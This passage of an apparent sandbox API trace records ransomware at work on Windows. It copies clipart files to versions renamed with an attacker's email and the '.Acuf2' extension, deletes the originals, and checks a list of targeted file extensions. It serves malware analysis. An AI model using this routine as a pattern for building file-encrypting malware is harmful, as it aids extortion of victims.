	[0256.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.466] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.466] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.466] GetLastError () returned 0x0
	[0256.466] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x25ee, lpOverlapped=0x0) returned 1
	[0256.469] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x25f0, lpOverlapped=0x0) returned 1
	[0256.470] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.470] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.470] SetEndOfFile (hFile=0x35c) returned 1
	[0256.472] CloseHandle (hObject=0x35c) returned 1
	[0256.472] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.472] SetEndOfFile (hFile=0x334) returned 1
	[0256.475] CloseHandle (hObject=0x334) returned 1
	[0256.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1
	[0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.475] lstrlenW (lpString=".doc") returned 4
	[0256.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.475] lstrlenW (lpString=".docx") returned 5
	[0256.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.476] lstrlenW (lpString=".pdf") returned 4
	[0256.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString=".xls") returned 4
	[0256.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.476] lstrlenW (lpString=".xlsx") returned 5
	[0256.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.476] lstrlenW (lpString=".ppt") returned 4
	[0256.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.476] lstrlenW (lpString=".zip") returned 4
	[0256.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.476] lstrlenW (lpString=".rar") returned 4
	[0256.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString=".bz2") returned 4
	[0256.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString=".7z") returned 3
	[0256.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.476] lstrlenW (lpString=".dbf") returned 4
	[0256.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.476] lstrlenW (lpString=".1cd") returned 4
	[0256.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.476] lstrlenW (lpString=".jpg") returned 4
	[0256.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString=".doc") returned 4
	[0256.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString=".docx") returned 5
	[0256.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.477] lstrlenW (lpString=".pdf") returned 4
	[0256.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString=".xls") returned 4
	[0256.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.477] lstrlenW (lpString=".xlsx") returned 5
	[0256.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.477] lstrlenW (lpString=".ppt") returned 4
	[0256.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString=".zip") returned 4
	[0256.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.477] lstrlenW (lpString=".rar") returned 4
	[0256.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString=".bz2") returned 4
	[0256.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString=".7z") returned 3
	[0256.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString=".dbf") returned 4
	[0256.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString=".1cd") returned 4
	[0256.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63
	[0256.477] lstrlenW (lpString=".jpg") returned 4
	[0256.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.478] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.478] lstrlenW (lpString="BD19828_.WMF") returned 12
	[0256.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.479] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=8772) returned 1
	[0256.479] CloseHandle (hObject=0x334) returned 1
	[0256.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20
	[0256.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.480] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.480] GetLastError () returned 0x0
	[0256.480] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2244, lpOverlapped=0x0) returned 1
	[0256.482] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2250, lpOverlapped=0x0) returned 1
	[0256.483] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.483] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.483] SetEndOfFile (hFile=0x35c) returned 1
	[0256.483] CloseHandle (hObject=0x35c) returned 1
	[0256.483] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.483] SetEndOfFile (hFile=0x334) returned 1
	[0256.486] CloseHandle (hObject=0x334) returned 1
	[0256.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1
	[0256.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.486] lstrlenW (lpString=".doc") returned 4
	[0256.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.486] lstrlenW (lpString=".docx") returned 5
	[0256.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.486] lstrlenW (lpString=".pdf") returned 4
	[0256.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.486] lstrlenW (lpString=".xls") returned 4
	[0256.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.487] lstrlenW (lpString=".xlsx") returned 5
	[0256.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.487] lstrlenW (lpString=".ppt") returned 4
	[0256.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString=".zip") returned 4
	[0256.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.487] lstrlenW (lpString=".rar") returned 4
	[0256.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString=".bz2") returned 4
	[0256.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString=".7z") returned 3
	[0256.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString=".dbf") returned 4
	[0256.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString=".1cd") returned 4
	[0256.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString=".jpg") returned 4
	[0256.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.487] lstrlenW (lpString=".doc") returned 4
	[0256.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.487] lstrlenW (lpString=".docx") returned 5
	[0256.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.487] lstrlenW (lpString=".pdf") returned 4
	[0256.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.488] lstrlenW (lpString=".xls") returned 4
	[0256.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.488] lstrlenW (lpString=".xlsx") returned 5
	[0256.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.488] lstrlenW (lpString=".ppt") returned 4
	[0256.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.488] lstrlenW (lpString=".zip") returned 4
	[0256.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.488] lstrlenW (lpString=".rar") returned 4
	[0256.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.488] lstrlenW (lpString=".bz2") returned 4
	[0256.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.488] lstrlenW (lpString=".7z") returned 3
	[0256.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.489] lstrlenW (lpString=".dbf") returned 4
	[0256.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.489] lstrlenW (lpString=".1cd") returned 4
	[0256.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63
	[0256.489] lstrlenW (lpString=".jpg") returned 4
	[0256.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.489] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.489] lstrlenW (lpString="BD19986_.WMF") returned 12
	[0256.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.489] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=14486) returned 1
	[0256.489] CloseHandle (hObject=0x334) returned 1
	[0256.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20
	[0256.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.490] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.490] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.490] GetLastError () returned 0x0
	[0256.490] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x3896, lpOverlapped=0x0) returned 1
	[0256.492] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x38a0, lpOverlapped=0x0) returned 1
	[0256.493] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.493] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.493] SetEndOfFile (hFile=0x35c) returned 1
	[0256.493] CloseHandle (hObject=0x35c) returned 1
	[0256.493] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.493] SetEndOfFile (hFile=0x334) returned 1
	[0256.591] CloseHandle (hObject=0x334) returned 1
	[0256.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1
	[0256.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.592] lstrlenW (lpString=".doc") returned 4
	[0256.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString=".docx") returned 5
	[0256.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.592] lstrlenW (lpString=".pdf") returned 4
	[0256.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString=".xls") returned 4
	[0256.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.592] lstrlenW (lpString=".xlsx") returned 5
	[0256.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.592] lstrlenW (lpString=".ppt") returned 4
	[0256.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.592] lstrlenW (lpString=".zip") returned 4
	[0256.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.592] lstrlenW (lpString=".rar") returned 4
	[0256.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString=".bz2") returned 4
	[0256.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString=".7z") returned 3
	[0256.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.592] lstrlenW (lpString=".dbf") returned 4
	[0256.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.592] lstrlenW (lpString=".1cd") returned 4
	[0256.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.592] lstrlenW (lpString=".jpg") returned 4
	[0256.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString=".doc") returned 4
	[0256.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString=".docx") returned 5
	[0256.593] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.593] lstrlenW (lpString=".pdf") returned 4
	[0256.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString=".xls") returned 4
	[0256.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.593] lstrlenW (lpString=".xlsx") returned 5
	[0256.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.593] lstrlenW (lpString=".ppt") returned 4
	[0256.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString=".zip") returned 4
	[0256.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.593] lstrlenW (lpString=".rar") returned 4
	[0256.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString=".bz2") returned 4
	[0256.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString=".7z") returned 3
	[0256.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString=".dbf") returned 4
	[0256.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString=".1cd") returned 4
	[0256.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63
	[0256.593] lstrlenW (lpString=".jpg") returned 4
	[0256.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.594] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.594] lstrlenW (lpString="BL00130_.WMF") returned 12
	[0256.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0256.594] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1464) returned 1
	[0256.594] CloseHandle (hObject=0x334) returned 1
	[0256.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20
	[0256.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
